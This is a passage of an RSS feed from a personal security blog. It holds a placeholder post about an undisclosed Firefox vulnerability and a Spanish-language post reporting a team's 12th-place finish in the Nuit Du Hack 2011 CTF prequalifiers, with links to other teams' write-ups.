		<guid isPermaLink="false">http://blog.beford.org/?p=176</guid>
		<description><![CDATA[To be disclosed soon. &#160;]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.beford.org/wp-content/uploads/2011/04/minefield-icon.png"><img class="aligncenter size-full wp-image-178" title="minefield-icon" src="http://blog.beford.org/wp-content/uploads/2011/04/minefield-icon.png" alt="" width="128" height="128" /></a></p>
<p>To be disclosed soon.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/04/15/firefox-3-6-19-remote-code-execution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nuit Du Hack 2011 Prequals</title>
		<link>http://blog.beford.org/2011/04/11/nuit-du-hack-2011-prequals/</link>
		<comments>http://blog.beford.org/2011/04/11/nuit-du-hack-2011-prequals/#comments</comments>
		<pubDate>Mon, 11 Apr 2011 04:32:22 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[ctf]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=156</guid>
		<description><![CDATA[Nuestro equipo NULL Life participó hace un par de semanas en los prequal de CTF Nuit Du Hack. Logramos finalizar en la posición número 12. Este es el ranking final de los prequals: Entre los equipos que conozco de este &#8230; <a href="http://blog.beford.org/2011/04/11/nuit-du-hack-2011-prequals/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Nuestro equipo NULL Life participó hace un par de semanas en los prequal de CTF Nuit Du Hack. Logramos finalizar en la posición número 12. Este es el ranking final de los prequals:</p>
<p><a href="http://blog.beford.org/wp-content/uploads/2011/04/Screenshot.png"><img class="aligncenter size-full wp-image-168" title="Nuit du Hack " src="http://blog.beford.org/wp-content/uploads/2011/04/Screenshot.png" alt="Nuit du Hack Prequals 2011" width="607" height="618" /></a></p>
<p>Entre los equipos que conozco de este top, esta el equipo fail0verflow, es el grupo que encontró la falla de criptografía en el PS3 <img src='http://blog.beford.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ! holy cactus son los mismos de int3pids, Leet More, smoked chicken y Rdot.Org equipos rusos con bastante potencial.</p>
<p>Pueden ver un <a href="https://www.hackerzvoice.net/resume-prequals-nuit-du-hack-2011">resumen de las prequals</a> en el sitio de HackerzVoice, durante toda la competencia estuvimos entre los primeros equipos. Daniel publicó la lista de retos que se solucionarón y el <a href="http://www.sinfocol.org/2011/04/writeup-forensic100-nuit-du-hack-2011/">Write Up del reto forensics 100</a>.</p>
<p>Aca les dejo unos <a href="http://blog.w3challs.com/index.php?post/2011/04/05/NDH2k11-Prequals-Compte-Rendu-!">writeups por el equipo 404NameNotF0und</a> para todos los retos del prequal, acompañados del <a href="http://pastebin.com/zD6zAeDF">codigo fuente</a> para algunos retos.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/04/11/nuit-du-hack-2011-prequals/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

